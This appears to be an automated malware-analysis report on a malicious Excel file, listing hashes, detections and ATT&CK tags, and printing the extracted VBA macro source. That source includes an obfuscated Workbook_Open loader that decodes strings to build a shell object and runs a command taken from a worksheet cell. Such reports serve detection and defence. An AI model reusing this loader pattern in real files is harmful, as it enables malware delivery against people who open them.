Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f4379983adce563…

MALICIOUS

Office (OLE)

102.5 KB Created: 2018-09-17 11:55:34 Authoring application: Microsoft Excel First seen: 2019-05-10
MD5: 6031e19ab56c069664ddf800da1de81e SHA-1: 2038e67a3299fce1ba73a915ff01aeebb3f06238 SHA-256: 5f4379983adce56313495dee49f0a0ba7a0b2ebde110f76cf08fcbb5c46424f7
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains heavily obfuscated VBA macros, including a Workbook_Open event, designed to execute arbitrary code. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates the presence of an auto-executing loader that uses CreateObject and Shell/exec sinks, strongly suggesting it's intended to download and execute a second-stage payload. The presence of both VBA and XLM macros, along with the ClamAV detection name, points to a known malware pattern.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6691358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6691358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2375 bytes
SHA-256: 8fc40df1c62419f91d01fb15f275d9b32695bb3c2493ccb706ab787a79c894a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub WBR()
Dim Count1Criteria As Variant
Dim Count3Criteria As Variant
Dim test As Variant
Dim wf As WorksheetFunction
Set wf = Application.WorksheetFunction

Filter1InSummary = Array(Array("AE4", "Latency", "O:O", "Pass"), _
                         Array("AE51", "TT", "G:G", "Yes"), _
                         Array("AE52", "TT", "G:G", "No"), _
                         Array("AE61", "Reactive", "R:R", "Item"))

Filter3InSummary = Array(Array("AE43", "TT", "I:I", "<>Duplicate TT", _
                                             "G:G", "<>Not Tested", _
                                             "U:U", "Item"))
For Each test In Filter3InSummary
    With Worksheets(test(1))
        Range(test(0)) = wf.CountIfs(.Range(test(2)), test(3), _
                                     .Range(test(4)), test(5), _
                                     .Range(test(6)), test(7))
    End With
    Next
Sub Workbook_Open()
Application.Run "ThisWorkbook.NW_"
End Sub
Private Sub NW_()
CallByName CreateObject(T_("B2AEBECDC4CBCF89AEC3C0C7C7")), T_("ADD0C9"), VbMethod, T_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub

Sub testme()

Dim myResult As Variant

myResult = "Error!"
With ActiveSheet
If IsNumeric(.Cells(4, 4).Value) Then
If IsNumeric(.Cells(5, 4).Value) Then
If .Cells(5, 4).Value <> 0 Then
myResult = .Cells(4, 4).Value / .Cells(5, 4).Value / 100
End If
End If
End If
End With

MsgBox myResult
If IsNumeric(myResult) Then
MsgBox Format(myResult, "0.00%")
End If
End Sub
Private Function T_(ByVal K_ As String)
Dim X_ As String: Dim OHL_ As Long: For OHL_ = 1 To Len(K_) Step 2: X_ = X_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(K_, OHL_, 2)) - 91): Next: T_ = X_
End Function
Sub dural()
    Dim r1 As Range, r2 As Range, r3 As Range

    Set r1 = Range("AE43")
    Set r2 = Range("AE51")
    Set r3 = Range("AE53")
    If r1.Value <> 0 Then
        r3.Value = r2.Value / r1.Value
    End If
    r3.NumberFormat = "00.0%"
End Sub